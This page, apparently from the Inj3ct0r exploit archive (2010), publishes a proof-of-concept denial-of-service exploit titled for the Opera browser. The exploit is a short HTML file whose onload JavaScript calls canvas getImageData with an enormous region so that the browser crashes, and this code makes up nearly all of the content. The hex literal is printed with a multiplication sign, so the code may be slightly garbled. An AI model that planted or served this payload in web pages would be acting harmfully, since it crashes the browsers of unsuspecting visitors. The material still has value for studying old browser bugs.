<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Opera Denial of Service by &lt;canvas&gt; Element</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>===========================================
Opera Denial of Service by &lt;canvas&gt; Element
===========================================

Opera.html
&lt;html&gt;

&lt;body onload=&quot;Opera()&quot;&gt;

&lt;script language=JavaScript&gt;

function Opera() {

canvas = document.getElementById(&quot;canvas&quot;);

ctx = canvas.getContext(&quot;2d&quot;);

ctx.getImageData(0,0,0×20000,0×20000);

}

&lt;/script&gt;

&lt;canvas id=canvas width=10 height=10&gt;&lt;/canvas&gt;

&lt;/body&gt;

&lt;/html&gt;

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-12]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13318